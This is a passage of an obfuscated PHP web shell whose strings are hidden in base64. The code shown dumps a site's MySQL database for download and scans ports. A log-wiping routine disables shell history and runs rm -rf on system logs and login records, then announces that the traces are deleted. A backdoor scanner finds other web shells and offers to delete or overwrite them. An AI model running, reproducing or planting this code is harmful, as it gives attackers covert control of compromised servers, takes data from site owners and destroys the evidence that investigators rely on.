xhc3M9ImZvcm0tY29udHJvbCJ0eXBlPSJzdWJtaXQidmFsdWU9IiAgRHVtcCEgICI+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPjwvY2VudGVyPjxicj48YnI+'); if (isset($_POST[wb('dXNlcm5hbWU=')]) && isset($_POST[wb('ZGJuYW1l')]) && isset($_POST[wb('bWV0aG9k')])) { $date = $GNJ[20](wb('WS1tLWQ=')); $dbserver = $_POST[wb('c2VydmVy')]; $dbuser = $_POST[wb('dXNlcm5hbWU=')]; $dbpass = $_POST[wb('cGFzc3dvcmQ=')]; $dbname = $_POST[wb('ZGJuYW1l')]; $file = "\x44\x75\155\x70\x2d{$dbname}\55{$date}"; $method = $_POST[wb('bWV0aG9k')]; if ($method == wb('c3Fs')) { $file = "\104\165\155\x70\x2d{$dbname}\x2d{$date}\x2e\x73\161\154"; $fp = $GNJ[17]($file, wb('dw==')); } else { $file = "\x44\x75\155\x70\x2d{$dbname}\x2d{$date}\x2e\x73\x71\154\56\x67\x7a"; $fp = gzopen($file, wb('dw==')); } function write($data) { global $fp; if ($_POST[wb('bWV0aG9k')] == wb('c3NxbA==')) { $GNJ[18]($fp, $data); } else { gzwrite($fp, $data); } } mysql_connect($dbserver, $dbuser, $dbpass); mysql_select_db($dbname); $tables = mysql_query(wb('U0hPVyBUQUJMRVM=')); while ($i = mysql_fetch_array($tables)) { $i = $i[wb('VGFibGVzX2luXw==') . $dbname]; $create = mysql_fetch_array(mysql_query(wb('U0hPVyBDUkVBVEUgVEFCTEUg') . $i)); write($create[wb('Q3JlYXRlIFRhYmxl')] . wb('O25u')); $sql = mysql_query(wb('U0VMRUNUICogRlJPTSA=') . $i); if (mysql_num_rows($sql)) { while ($row = mysql_fetch_row($sql)) { foreach ($row as $j => $k) { $row[$j] = wb('Jw==') . mysql_escape_string($k) . wb('Jw=='); } write("\111\116\x53\105\122\124\40\x49\x4e\124\117\40{$i}\x20\126\101\114\125\105\x53\50" . implode(wb('LA=='), $row) . wb('KTtu')); } } } if ($method == wb('c3NxbA==')) { $GNJ[19]($fp); } else { gzclose($fp); } header(wb('Q29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9') . $file); header(wb('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9kb3dubG9hZA==')); header(wb('Q29udGVudC1MZW5ndGg6IA==') . $GNJ[34]($file)); flush(); $fp = $GNJ[17]($file, wb('cg==')); while (!feof($fp)) { echo fread($fp, 65536); flush(); } $GNJ[19]($fp); } } elseif (isset($_GET[hex(wb('ZGVsZXRlLWxvZ3M='))])) { AutomenU($d); echo wb('PGJyPjxjZW50ZXI+PGI+PHNwYW4+RGVsZXRlIExvZ3MgKCBGb3IgU2FmZSApPC9zcGFuPjwvYj48Y2VudGVyPjxicj4='); echo wb('PHRhYmxlIHN0eWxlPSdtYXJnaW46IDAgYXV0bzsnPjx0ciB2YWxpZ249J3RvcCc+PHRkIGFsaWduPSdsZWZ0Jz4='); exe(wb('ZXhwb3J0IEhJU1RGSUxFPS9kZXYvbnVsbA==')); exe(wb('cm0gLXJmIC90bXAvbG9ncw==')); exe(wb('cm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3M=')); exe(wb('cm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZw==')); exe(wb('cm0gLXJmIGVycm9yX2xvZw==')); exe(wb('cm0gLXJmIC92YXIvYXBhY2hlL2xvZ3M=')); exe(wb('cm0gLXJmIC92YXIvYXBhY2hlL2xvZw==')); exe(wb('cm0gLXJmIC92YXIvcnVuL3V0bXA=')); exe(wb('cm0gLXJmIC92YXIvbG9ncw==')); exe(wb('cm0gLXJmIC92YXIvbG9n')); exe(wb('cm0gLXJmIC92YXIvYWRt')); exe(wb('cm0gLXJmIC9ldGMvd3RtcA==')); exe(wb('cm0gLXJmIC9ldGMvdXRtcA==')); exe("\x72\155\x20\55\x72\146\40{$HISTFILE}"); exe(wb('cm0gLXJmIC92YXIvbG9nL2xhc3Rsb2c=')); exe(wb('cm0gLXJmIC92YXIvbG9nL3d0bXA=')); echo wb('PGJyPjxicj48cD5Zb3VyIFRyYWNlcyBIYXMgQmVlbiBTdWNjZXNzZnVsbHkgRGVsZXRpbmcgLi4uRnJvbSB0aGUgU2VydmVy'); echo wb('PC90ZD48L3RyPjwvdGFibGU+'); } elseif (isset($_GET[hex(wb('c2Nhbm5lcg=='))])) { ScanMenu($d); } elseif (isset($_GET[hex(wb('cG9ydC1zY2FubmVy'))])) { ScanMenu($d); echo wb('PGhyPjxicj48Y2VudGVyPg=='); echo wb('PGgyPlBvcnRzIFNjYW5uZXIgWTwvaDI+'); echo wb('PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+'); if (isset($_POST[wb('aG9zdA==')]) && is_numeric($_POST[wb('ZW5k')]) && is_numeric($_POST[wb('c3RhcnQ=')])) { $start = strip_tags($_POST[wb('c3RhcnQ=')]); $end = strip_tags($_POST[wb('ZW5k')]); $start = strip_tags($_POST[wb('c3RhcnQ=')]); $end = strip_tags($_POST[wb('ZW5k')]); $host = strip_tags($_POST[wb('aG9zdA==')]); for ($i = $start; $i <= $end; $i++) { $fp = @fsockopen($host, $i, $errno, $errstr, 3); if ($fp) { echo wb('UG9ydCA=') . $i . wb('IGlzIDxmb250IGNvbG9yPWdyZWVuPm9wZW48L2ZvbnQ+PGJyPg=='); } flush(); } } else { echo wb('PGNlbnRlcj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iUG9ydFNjYW5uZXIiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9cDE+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icDIiPgoJCSAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYyIgdmFsdWU9Ig==') . $GNJ[15](dapatCWD()) . wb('Ij4KCQkgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNoYXJzZXQiIHZhbHVlPSI=') . (isset($_POST[wb('Y2hhcnNldA==')]) ? $_POST[wb('Y2hhcnNldA==')] : '') . wb('Ij4KCQkgIEhvc3Q6PGJyPiA8aW5wdXQgY2xhc3MgPSAiZm9ybS1jb250cm9sIiB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0Ii8+PGJyIC8+PGJyIC8+CgkJICBQb3J0IHN0YXJ0OiA8YnI+PGlucHV0IGNsYXNzID0gImZvcm0tY29udHJvbCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdGFydCIgdmFsdWU9IjAiLz48YnIgLz48YnIgLz4KCQkgIFBvcnQgZW5kOiA8YnI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjUwMDAiLz48YnIgLz48YnIgLz4KCQkgCTxpbnB1dCBjbGFzcz0iZm9ybS1jb250cm9sIiB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBTY2FuIFBvcnRzICAiID4KCQkgIDwvZm9ybT4gPC9jZW50ZXI+'); echo wb('PC9jZW50ZXI+'); echo wb('PC9kaXY+PGJyPjxicj4='); } } elseif (isset($_GET[hex(wb('c2Nhbnoz'))])) { ScanMenu($d); if (isset($_GET[wb('cnA=')]) && isset($_GET[wb('Zmx4')])) { $replacement = $_GET[wb('cnA=')]; $asli = $_GET[wb('Zmx4')]; if (rpl($replacement, $asli)) { } } echo wb('PHN0eWxlIHR5cGU9InRleHQvY3NzIj4uc2luZ2xle2JvcmRlcjoxcHggc29saWQgIzFmNGYxNjtwYWRkaW5nOjVweH0uYWJ1bmFpe2NvbG9yOnJlZDt0ZXh0LWRlY29yYXRpb246bm9uZX0ueHh4e2NvbG9yOiMwMGY7dGV4dC1kZWNvcmF0aW9uOm5vbmV9Lm1le2JvcmRlcjowO3BhZGRpbmc6NXB4fS5pc2k6ZGlzYWJsZWR7cGFkZGluZzoycHg7Ym9yZGVyOjFweCBzb2xpZCAjMzMzO2JhY2tncm91bmQtY29sb3I6I2NjYztmb250LXNpemU6MTBweDtmb250LXdlaWdodDo3MDB9LmlzaXtwYWRkaW5nOjJweDtib3JkZXI6MXB4IHNvbGlkICM2NjY7YmFja2dyb3VuZC1jb2xvcjojZmZmO2ZvbnQtc2l6ZToxMHB4O2ZvbnQtd2VpZ2h0OjcwMH08L3N0eWxlPg=='); echo wb('PGNlbnRlcj48YnI+PGhyPjxoMj48YSBocmVmPSI/ZD0=') . hex($d) . wb('Jg==') . hex(wb('c2Nhbnoz')) . wb('Ij5Mb2NhbCBCYWNrZG9vciBTY2FubmVyIDM8L2E+PC9oMj48L2NlbnRlcj48YnI+PGJyPg=='); $i = 0; if (isset($_POST[wb('U3VibWl0')])) { $ceks = array(wb('YmFzZTY0X2RlY29kZQ=='), wb('c3lzdGVt'), wb('cGFzc3RocnU='), wb('cG9wZW4='), wb('ZXhlYw=='), wb('c2hlbGxfZXhlYw=='), wb('ZXZhbA=='), wb('bW92ZV91cGxvYWRlZF9maWxl'), wb('dG1wX25hbWU='), wb('ZmlsZV9nZXRfY29udGVudHM=')); foreach ($ceks as $ceker) { if ($_POST[$ceker] != '') { $six .= $_POST[$ceker] . wb('Lg=='); } } $cek = explode(wb('Lg=='), $six); echo wb('PGNlbnRlcj48dGFibGUgd2lkdGg9IjEwMCUiYm9yZGVyPSIwImNlbGxwYWRkaW5nPSI1Ij48dHI+PHRkIGFsaWduPSJyaWdodCJjbGFzcz0ibWUid2lkdGg9IjMwIj48Yj5ObzwvYj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyImNsYXNzPSJtZSJ3aWR0aD0iMTA1Ij48Yj5UIHkgcCBlPC9iPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiY2xhc3M9Im1lIj48Yj5GIGkgbCBlIEwgbyBjIGEgdCBpIG8gbjwvYj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0ibWUiIHdpZHRoPSIxNTAiPjxiPkFjdGlvbjwvYj48L3RkPjx0ZCBhbGlnbj0iY2VudGVyImNsYXNzPSJtZSJ3aWR0aD0iMTUwIj48Yj5MIGEgcyB0IEUgZCBpIHQ8L2I+PC90ZD48dGQgYWxpZ249InJpZ2h0ImNsYXNzPSJtZSJ3aWR0aD0iMTAwIj48Yj5GIGkgbCBlIFMgaSB6IGU8L2I+PC90ZD48L3RyPjxicj4='); $target = $_POST[wb('dGFyZ2V0')]; $target = $GNJ[14](wb('Ly8='), wb('Lw=='), $target); foreach (ListFiles($target) as $key => $file) { $dir9 = dirname($file); $file9 = basename($file); $file = $GNJ[14](wb('Ly8='), wb('Lw=='), $file); if (!$GNJ[31]($file)) { $o = wb('IGJsaW5rIHc='); } else { $o = ''; } $nFile = strtolower($GNJ[22]($file, -4, 4)); $nFile2 = strtolower($GNJ[22]($file, -5, 5)); if ($nFile == wb('LnBocA==') | $nFile2 == wb('LnBodG1s') | $nFile2 == wb('LnBocDU=') | $nFile2 == wb('LnBocDc=') | $nFile2 == wb('LnBoYXI=')) { if ($file == $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')] . $_SERVER[wb('UEhQX1NFTEY=')]) { echo ''; } else { $ops = fgt($file); $op = strtolower($ops); $arr = array(wb('Yzk5X2J1ZmZfcHJlcGFyZQ==') => wb('YyA5IDk='), wb('U29sZXZpc2libGU=') => wb('U29sZXZpc2libGU='), wb('QWxmYS1UZWFt') => wb('QWxmYQ=='), wb('TWluaXNoZWxs') => wb('TWluaXNoZWxs'), wb('V1NPc3RyaXBzbGFzaGVz') => wb('V1NP'), wb('Q3l0bw==') => wb('RW5jciBTaGVsbA=='), wb('cHdkMTYz') => wb('UGFuZW4xMzg='), wb('WmVlcng3') => wb('WmVlcng3'), wb('ZWRvY2VkXzQ2ZXNhYg==') => wb('YjY0'), wb('Y29uN2V4dA==') => wb('Y29uN2V4dA=='), wb('cGhwRmlsZU1hbmFnZXI=') => wb('cGhwRmlsZU1hbmFnZXI='), wb('RmlsZW1hbg==') => wb('RmlsZW1hbg=='), wb('TUFSSUpVQU5B') => wb('TWFyaWp1YW5h'), wb('TWluaQ==') => wb('TWluaSBTaGVsbA=='), wb('Njg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzM=') => wb('R2VsYXk='), wb('QUdVU1RVU18xN18xOTQ1') => wb('MTk0NQ=='), wb('cnV6aHU=') => wb('Q2hpbmVzZSAx'), wb('eGlhb3hpYW5udg==') => wb('Q2hpbmVzZSAy'), wb('YWJjcjU3') => wb('ciA1IDc='), wb('U0lTVEVNSVRfQ09NX0VOQw==') => wb('U0VPQkFSQkFS')); $sis = 0; if ($op) { $size = $GNJ[34]($file); } $last = GetFileTime($file, wb('bW9kaWZ5')); $halamanini = hex(wb('c2Nhbnoz')); $thisandthat = $_SERVER[wb('U0NSSVBUX0ZJTEVOQU1F')]; foreach ($arr as $key => $val) { if (@preg_match("\57{$key}\x2f", $op)) { $sis = 1; $i++; echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNDUwOTA5Ij48dGQgYWxpZ249InJpZ2h0Ij4=') . $i . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $val . wb('PC90ZD48dGQgYWxpZ249ImxlZnQiPiA8YSBocmVmPSI/ZD0=') . hex($dir9) . wb('JnM9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $file . wb('PC9hPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($dir9) . wb('Jng9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W0RFTF08L2E+IDxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('Jg==') . $halamanini . wb('JnJwPQ==') . hex($file) . wb('JmZseD0=') . hex($thisandthat) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W09WRVJXUklURV08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $last . wb('PC90ZD48dGQgYWxpZ249InJpZ2h0Ij4=') . hdd($size) . wb('PC90ZD48c2NyaXB0PnZhciBiZ2NvbG9yPSJ0cmFuc3BhcmVudCIsY2hhbmdlX2NvbG9yPSIjNGM0NDJkIjtmdW5jdGlvbiBtb3ZlcihvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jaGFuZ2VfY29sb3J9ZnVuY3Rpb24gbW91dChvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1iZ2NvbG9yfTwvc2NyaXB0PjwvdHI+'); } } if ($sis != wb('MQ==')) { if (@preg_match(wb('L3N5c3RlbVwoKC4qPylcKS8='), $op) && @preg_match(wb('LzxwcmU+Lw=='), $op) && @preg_match(wb('L2VtcHR5XCgoLio/KVwpLw=='), $op)) { $sis = wb('Mg=='); $i++; $val = wb('SGlkZGVuIFNoZWxs'); echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojYmZjMGVlIj48dGQgYWxpZ249InJpZ2h0Ij48Zm9udCBjb2xvcj0iI2ZmZmZjYyI+') . $i . wb('PC9mb250PjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSIjZmZmZmNjIj4=') . $val . wb('PC9mb250PjwvdGQ+PHRkIGFsaWduPSJsZWZ0Ij48YSBocmVmPSI/ZD0=') . hex($dir9) . wb('JnM9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $file . wb('PC9hPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($e) . wb('Jng9') . hex($c) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W0RFTF08L2E+IDxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('Jg==') . $halamanini . wb('JnJwPQ==') . hex($file) . wb('JmZseD0=') . hex($thisandthat) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W09WRVJXUklURV08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+PGZvbnQgY29sb3I9IiNmZmZmY2MiPg==') . $last . wb('PC9mb250PjwvdGQ+PHRkIGFsaWduPSJyaWdodCI+PGZvbnQgY29sb3I9IiNmZmZmY2MiPg==') . hdd($size) . wb('PC9mb250PjwvdGQ+PHNjcmlwdD52YXIgYmdjb2xvcj0idHJhbnNwYXJlbnQiLGNoYW5nZV9jb2xvcj0iIzRjNDQyZCI7ZnVuY3Rpb24gbW92ZXIobyl7by5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9Y2hhbmdlX2NvbG9yfWZ1bmN0aW9uIG1vdXQobyl7by5zdHlsZS5iYWNrZ3JvdW5kQ29sb3I9Ymdjb2xvcn08L3NjcmlwdD48L3RyPg=='); } } if ($sis == wb('MA==')) { foreach ($cek as $bugs) { if ($bugs != '') { if (@preg_match("\57{$bugs}\134\x28\50\56\x2a\x3f\x29\x5c\51\57", $op)) { $i++; echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNDk0NTQ1Ij48dGQgYWxpZ249InJpZ2h0Ij4=') . $i . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $bugs . wb('PC90ZD48dGQgYWxpZ249ImxlZnQiPjxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('JnM9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $file . wb('PC9hPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($dir9) . wb('Jng9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W0RFTF08L2E+IDxhICBocmVmPSI/ZD0=') . hex($dir9) . wb('Jg==') . $halamanini . wb('JnJwPQ==') . hex($file) . wb('JmZseD0=') . hex($thisandthat) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W09WRVJXUklURV08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $last . wb('PC90ZD48dGQgYWxpZ249InJpZ2h0Ij4=') . hdd($size) . wb('PC90ZD48c2NyaXB0PnZhciBiZ2NvbG9yPSJ0cmFuc3BhcmVudCIsY2hhbmdlX2NvbG9yPSIjNGM0NDJkIjtmdW5jdGlvbiBtb3ZlcihvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jaGFuZ2VfY29sb3J9ZnVuY3Rpb24gbW91dChvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1iZ2NvbG9yfTwvc2NyaXB0PjwvdHI+'); } } } } if ($_POST[wb('dGV4dFY=')] != '') { $text = $_POST[wb('dGV4dFY=')]; $searchForValue = wb('LA=='); if (strpos($text, $searchForValue) !== false) { $text = preg_split(wb('L1wsLw=='), $text); } if (is_array($text)) { foreach ($text as $value) { if (@preg_match("\x2f{$value}\x2f", $op)) { $i++; echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMmI0NTYzIj48dGQgYWxpZ249InJpZ2h0Ij4=') . $i . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $value . wb('PC90ZD48dGQgYWxpZ249ImxlZnQiPjxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('JnM9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $file . wb('PC9hPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($dir9) . wb('Jng9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W0RFTF08L2E+IDxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('Jg==') . $halamanini . wb('JnJwPQ==') . hex($file) . wb('JmZseD0=') . hex($thisandthat) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W09WRVJXUklURV08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $last . wb('PC90ZD48dGQgYWxpZ249InJpZ2h0Ij4=') . hdd($size) . wb('PC90ZD48c2NyaXB0PnZhciBiZ2NvbG9yPSJ0cmFuc3BhcmVudCIsY2hhbmdlX2NvbG9yPSIjNGM0NDJkIjtmdW5jdGlvbiBtb3ZlcihvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jaGFuZ2VfY29sb3J9ZnVuY3Rpb24gbW91dChvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1iZ2NvbG9yfTwvc2NyaXB0PjwvdHI+'); } } } else { if (@preg_match("\x2f{$text}\x2f", $op)) { $i++; echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMmI0NTYzIj48dGQgYWxpZ249InJpZ2h0Ij4=') . $i . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $text . wb('PC90ZD48dGQgYWxpZ249ImxlZnQiPjxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('JnM9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $file . wb('PC9hPjwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPjxhIGNsYXNzPSJhang=') . $o . wb('IiBocmVmPSI/ZD0=') . hex($dir9) . wb('Jng9') . hex($file9) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W0RFTF08L2E+IDxhIGhyZWY9Ij9kPQ==') . hex($dir9) . wb('Jg==') . $halamanini . wb('JnJwPQ==') . hex($file) . wb('JmZseD0=') . hex($thisandthat) . wb('IiB0YXJnZXQ9Il9ibGFuayI+W09WRVJXUklURV08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $last . wb('PC90ZD48dGQgYWxpZ249InJpZ2h0Ij4=') . hdd($size) . wb('PC90ZD48c2NyaXB0PnZhciBiZ2NvbG9yPSJ0cmFuc3BhcmVudCIsY2hhbmdlX2NvbG9yPSIjNGM0NDJkIjtmdW5jdGlvbiBtb3ZlcihvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1jaGFuZ2VfY29sb3J9ZnVuY3Rpb24gbW91dChvKXtvLnN0eWxlLmJhY2tncm91bmRDb2xvcj1iZ2NvbG9yfTwvc2NyaXB0PjwvdHI+'); } } } } } } if ($i == 0) { foreach ($cek as $bugs) { if ($bugs != '') { $x++; echo wb('PHRyIG9ubW91c2VvdXQ9Im1vdXQodGhpcykib25tb3VzZW92ZXI9Im1vdmVyKHRoaXMpIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojMDA3ZWZmIj48dGQgYWxpZ249InJpZ2h0Ij4=') . $x . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+') . $bugs . wb('PC90ZD48dGQgYWxpZ249ImNlbnRlciI+PGEgY2xhc3M9ImFqeCIgaHJlZj0iIyI+W05PUF08L2E+PC90ZD48dGQgYWxpZ249ImNlbnRlciI+bm90IGV4aXN0PC90ZD48dGQgYWxpZ249ImNlbnRlciI+bm8gcmVjb3JkPC90ZD48dGQgYWxpZ249InJpZ2h0Ij4tIGJ5dGU8L3RkPjwvdHI+'); } } } echo wb('PC90YWJsZT4='); } else { $find = array(wb('b3RoZXJzX2JhY2tkb29y'), wb('YmFzZTY0X2RlY29kZQ=='), wb('c3lzdGVt'), wb('cGFzc3RocnU='), wb('cG9wZW4='), wb('ZXhlYw=='), wb('c2hlbGxfZXhlYw=='), wb('ZXZhbA=='), wb('bW92ZV91cGxvYWRlZF9maWxl'), wb('dG1wX25hbWU='), wb('ZmlsZV9nZXRfY29udGVudHM=')); if (isset($_POST[wb('dGFyZ2V0')])) { $target = $_POST[wb('dGFyZ2V0')]; } else { $target = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } echo wb('PGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IiIgY2xhc3M9ImZvcm0taW5saW5lIiBhdXRvY29tcGxldGU9Im9mZiIgaWQ9ImZDaGVjayIgbmFtZT0iZkNoZWNrIj48Y2VudGVyPjx0YWJsZSB3aWR0aD0iNDAwImJvcmRlcj0iMSJjZWxscGFkZGluZz0iMTAiY2xhc3M9InNpbmdsZSI+PHRyPjx0ZCBjbGFzcz0ibWUiPjxjZW50ZXI+PGI+UyBlIGwgZSBjIHQgLSBTIGMgYSBuIC0gVCB5IHAgZSA6PC9iPjxicj48dGFibGUgd2lkdGg9IjIwMCJjbGFzcz0ibWUiPjx0cj48dGQgY2xhc3M9Im1lIj48c2NyaXB0PmZ1bmN0aW9uIGNla0tsaWsoKXtkb2N1bWVudC5mQ2hlY2suY2VrVi5jaGVja2VkP2RvY3VtZW50LmZDaGVjay50ZXh0Vi5kaXNhYmxlZD0hMTpkb2N1bWVudC5mQ2hlY2sudGV4dFYuZGlzYWJsZWQ9ITAsZG9jdW1lbnQuZkNoZWNrLmNla1YuY2hlY2tlZD9tYXN0ZXIrPTE6MDxtYXN0ZXI/bWFzdGVyLT0xOm1hc3Rlcj1tYXN0ZXIsMCE9bWFzdGVyP2RvY3VtZW50LmZDaGVjay5TdWJtaXQuZGlzYWJsZWQ9ITE6ZG9jdW1lbnQuZkNoZWNrLlN1Ym1pdC5kaXNhYmxlZD0hMH08L3NjcmlwdD4='); if (isset($find)) { foreach ($find as $bug) { echo wb('PHNjcmlwdD52YXIgbWFzdGVyPTA7ZnVuY3Rpb24gY2hlY2tWYWx1ZQ==') . $bug . wb('KCl7ZG9jdW1lbnQuZkNoZWNrLg==') . $bug . wb('LmNoZWNrZWQ/bWFzdGVyKz0xOjA8bWFzdGVyP21hc3Rlci09MTptYXN0ZXI9bWFzdGVyLGRvY3VtZW50LmZDaGVjay5TdWJtaXQuZGlzYWJsZWQ9MD09bWFzdGVyfTwvc2NyaXB0PjxpbnB1dCBuYW1lPSI=') . $bug . wb('IiB2YWx1ZT0i') . $bug . wb('IiB0eXBlPSJjaGVja2JveCIgaWQ9Ig==') . $bug . wb('IiBvbmNsaWNrPSJjaGVja1ZhbHVl') . $bug . wb('KCkiIGNsYXNzPSJtci0zIiA+') . $bug . wb('PGJyPg=='); } echo wb('PGlucHV0IG5hbWU9ImNla1YiIHZhbHVlPSJjZWtWIiB0eXBlPSJjaGVja2JveCIgaWQ9ImNla1YiIG9uY2xpY2s9ImNla0tsaWsoKSI+IDxpbnB1dCBuYW1lPSJ0ZXh0ViIgb25mb2N1cz0idGhpcy52YWx1ZT0nJyIgdmFsdWU9Im90aGVyIGtleXdvcmQocykiIGNsYXNzPSJmb3JtLWNvbnRyb2wgbWItMiIgZGlzYWJsZWQgb25mb2N1cz0idGhpcy5zZWxlY3QoKSIgaWQ9InRleHRWIiBzdHlsZT0id2lkdGg6MzMwcHgiIGhlaWdodD0iMTAiPjxjZW50ZXI+Rm9sZGVyIFBhdGggdG8gU2Nhbjxicj48aW5wdXQgbmFtZT0idGFyZ2V0IiB2YWx1ZT0i') . $target . wb('IiBjbGFzcz0iZm9ybS1jb250cm9sIG1iLTIiIHN0eWxlPSJ3aWR0aDozNTBweCIgaGVpZ2h0PSIxMCI+PGlucHV0IG5hbWU9ImFzYWwidmFsdWU9ImFiY2QiIHR5cGU9ImhpZGRlbiI+IDxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1kYW5nZXIgYnRuLWxnIG1sLTIiIG5hbWU9IlN1Ym1pdCIgdmFsdWU9IlNUQVIgU0NBTiIgdHlwZT0ic3VibWl0IiBkaXNhYmxlZD48L3RkPjwvdHI+PC90YWJsZT48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+'); } } } elseif (isset($_GET[hex(wb('c2Nhbnoy'))])) { ScanMenu($d); if (isset($_POST[wb('ZGlyZWt0b3JpeA==')])) { $direktori = $_POST[wb('ZGlyZWt0b3JpeA==')]; } else { $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } echo wb('PGNlbnRlcj48YnI+PGhyPjxoMj5Mb2NhbCBCYWNrZG9vciBTY2FubmVyIDI8L2gyPjwvY2VudGVyPjxicj4='); echo wb('PGNlbnRlcj48Zm9ybSBjbGFzcz0nZm9ybS1pbmxpbmUnIG1ldGhvZD0nUE9TVCcgYWN0aW9uPScnPgoJCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wnIHR5cGU9J3RleHQnIG5hbWU9J2RpcmVrdG9yaXgnIHZhbHVlPSc=') . $direktori . wb('JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OycgaGVpZ2h0PScxMCc+PGJyPgoJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGJ0bi1tZCBtbC0yJyBuYW1lPSdzY2FubmVyJyB2YWx1ZT0nU2Nhbic+PC9pbnB1dD4KCQkJPC9mb3JtPjwvY2VudGVyPg=='); if (isset($_POST[wb('c2Nhbm5lcg==')])) { $config[wb('dGFyZ2V0X2Rpcg==')] = $direktori; $suspicious_strings = array(wb('Yzk5c2hlbGw='), wb('cGhwc3B5cGFzcw=='), 